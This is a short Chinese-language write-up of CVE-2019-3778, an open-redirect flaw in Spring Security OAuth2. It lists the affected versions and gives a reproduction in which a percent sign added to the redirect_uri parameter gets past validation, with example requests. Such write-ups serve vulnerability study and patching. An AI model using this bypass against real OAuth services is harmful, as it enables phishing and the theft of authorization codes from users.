002-CVE-2019-3778 Spring Security OAuth2 开放重定向.md
1.13 KB / 2021-07-17 00:01:28
# CVE-2019-3778 Spring Security OAuth2 开放重定向
### 一、漏洞简介
限制条件:
有问题的Spring Security OAuth2版本
oAuth认证使用授权码模式
用户需要在登录的情况下
### 二、漏洞影响
* Spring Security OAuth 2.3 to 2.3.4
* Spring Security OAuth 2.2 to 2.2.3
* Spring Security OAuth 2.1 to 2.1.3
* Spring Security OAuth 2.0 to 2.0.16
### 三、复现过程
用户登录后,CLIENT APP执行的以下请求包含REDIRECT_URI参数。 只需添加一个百分号即可触发重定向,而不是通过RedirectMismatchException错误来绕过验证。
例如原始请求如下:
```bash
/auth/oauth/authorize?response_type=code&client_id=R2dpxQ3vPrtfgF72&scope=user_info&state=HPRbfRgJLWdmLMi9KXeLJDesMLfPC3vZ0viEkeIvGuQ%3D&redirect_uri=http://localhost:8086/login
```
只需要修改为:
```bash
/auth/oauth/authorize?response_type=code&client_id=R2dpxQ3vPrtfgF72&scope=user_info&state=HPRbfRgJLWdmLMi9KXeLJDesMLfPC3vZ0viEkeIvGuQ%3D&redirect_uri=http://%localhost:8086/login
```
这样就不会产生原本的认证错误,而且直接跳转到地址
```bash
Location: http://localhost:8086/login
```